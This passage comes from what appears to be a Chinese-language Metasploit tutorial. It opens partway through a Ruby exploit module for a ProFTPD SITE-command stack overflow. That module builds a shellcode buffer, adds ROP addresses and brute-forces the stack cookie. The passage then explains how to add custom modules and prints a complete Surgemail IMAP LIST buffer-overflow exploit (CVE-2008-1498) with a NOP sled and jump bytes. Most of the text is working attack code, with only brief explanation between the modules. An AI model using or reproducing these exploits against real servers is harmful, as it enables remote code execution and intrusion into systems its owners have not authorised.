            mytarget = nil

 

            print_status("Automatically detecting the target...")

            if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then

                print_status("FTP Banner: #{banner.strip}")

                version = m[1]

            else

                raise RuntimeError, "No matching target"

            end

 

            regexp = Regexp.escape(version)

            self.targets.each do |t|

                if (t.name =~ /#{regexp}/) then

                    mytarget = t

                    break

                end

            end

 

            if (not mytarget)

                raise RuntimeError, "No matching target"

            end

 

            print_status("Selected Target: #{mytarget.name}")

        else

            print_status("Trying target #{mytarget.name}...")

            if banner

                print_status("FTP Banner: #{banner.strip}")

            end

        end

        #puts "attach and press any key"; bleh = $stdin.gets

        buf = ''

        buf << 'SITE '

        #buf << "\xcc"

        if mytarget['CookieOffset']

            buf << "\x8d\xa0\xfc\xdf\xff\xff" # lea esp, [eax-0x2004]

        end

        buf << payload.encoded

 

        # The number of characters left must be odd at this point.

        buf << rand_text(1) if (buf.length % 2) == 0

        buf << "\xff" * (mytarget['IACCount'] - payload.encoded.length)

 

        buf << rand_text_alphanumeric(mytarget['Offset'] - buf.length)

        addrs = [

            mytarget['Ret'],

            mytarget['Writable']

        ].pack('V*')

        ##執行shellcode

        if mytarget['RopStack']

            addrs << mytarget['RopStack'].map { |e|

                if e == 0xcccccccc

                    rand_text(4).unpack('V').first

                else

                    e

                end

            }.pack('V*')

        end

 

        # Make sure we didn't introduce instability

        addr_badchars = "\x09\x0a\x0b\x0c\x20"

        if idx = Rex::Text.badchar_index(addrs, addr_badchars)

            raise RuntimeError, ("One or more address contains a bad character! (0x%02x @ 0x%x)" % [addrs[idx,1].unpack('C').first, idx])

        end

 

        buf << addrs

        buf << "\r\n"

        #

        # In the case of Ubuntu, the cookie has 24-bits of entropy. Further more, it

        # doesn't change while proftpd forks children. Therefore, we can try forever

        # and eventually guess it correctly.

        #

        # NOTE: if the cookie contains one of our bad characters, we're SOL.

        #

        if mytarget['CookieOffset']

            print_status("!!! Attempting to bruteforce the cookie value! This can takes days. !!!")

            disconnect

 

            max = 0xffffff00

            off = mytarget['Offset'] + mytarget['CookieOffset']

            cookie = last_cookie = 0

            #cookie = 0x17ccd600

            start = Time.now

            last = start - 10

            while not session_created?

                now = Time.now

                if (now - last) >= 10

                    perc = (cookie * 100) / max

                    qps = ((cookie - last_cookie) >> 8) / 10.0

                    print_status("%.2f%% complete, %.2f attempts/sec - Trying: 0x%x" % [perc, qps, cookie])

                    last = now

                    last_cookie = cookie

                end

                sd = connect(false)

                sd.get_once

                buf[off, 4] = [cookie].pack('V')

                sd.put(buf)

                disconnect(sd)

                cookie += 0x100

                break if cookie > max

            end

            if not session_created?

                raise RuntimeError, "Unable to guess the cookie value, sorry :-/"

            end

        else

            sock.put(buf)

            disconnect

        end

        handler

    end

end

 

增加exploit的方式比較簡單,直接將寫好的程序放在相應的目錄下,重新啓動console即可看到自己的exploit。下面以增加一個簡單的exploit爲例進行說明。增加的位置在msf3\modules\exploits\windows\imap,名子爲surgemail_list.rb,在增加以前,我們先在console查找一下,如圖10所示:

圖10:第一次查找surgemail

查找顯示沒有這個exploit。我們增加的exploit代碼如下:

require 'msf/core'

 

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Imap

def initialize(info = {})

super(update_info(info,

'Name' => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',

'Description' => %q{

This module exploits a stack overflow in the Surgemail IMAP Server

version 3.8k4-4 by sending an overly long LIST command. Valid IMAP

account credentials are required.

},

'Author' => [ 'ryujin' ],

'License' => MSF_LICENSE,

'Version' => '$Revision: 1 $',

'References' =>

[

[ 'BID', '28260' ],

[ 'CVE', '2008-1498' ],

[ 'URL', 'http://www.milw0rm.com/exploits/5259' ],

],

'Privileged' => false,

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

},

'Payload' =>

{

'Space' => 10351,

'EncoderType' => Msf::Encoder::Type::AlphanumMixed,

'DisableNops' => true,

'BadChars' => "\x00"

},

'Platform' => 'win',

'Targets' =>

[

[ 'Windows Universal', { 'Ret' => "\x7e\x51\x78" } ], # p/p/r 0x0078517e

],

'DisclosureDate' => 'March 13 2008',

'DefaultTarget' => 0))

end

def check

connect

disconnect

if (banner and banner =~ /(Version 3.8k4-4)/)

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def exploit

connected = connect_login

nopes = "\x90"*(payload_space-payload.encoded.length) # to be fixed with make_nops()

sjump = "\xEB\xF9\x90\x90" # Jmp Back

njump = "\xE9\xDD\xD7\xFF\xFF" # And Back Again Baby ;)

evil = nopes + payload.encoded + njump + sjump + [target.ret].pack("A3")

print_status("Sending payload")

sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"

sock.put(sploit)

handler

disconnect

end

end

 

將其直接放在msf3\modules\exploits\windows\imap\目錄下,再查找一次,如圖11所示:

圖11:第二次查找surgemail

仍然是沒有找到,重新console,然後再進行查找,如圖12所示:

圖12:重啓console後查找surgemail

在上圖中可以看到,已經查找到了新增加的exploit。下面看是否能使用,對其使用use,然後查看其選項,如圖13所示:

圖13:使用新增加的exploit surgemail

然後設定目標IP(本例中設定了自己建立的虛擬機)並進行check,因爲虛擬機中並沒有安裝相應的服務,所以check的時候失敗。如圖14所示:

圖14:使用新增exploit的check方法

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章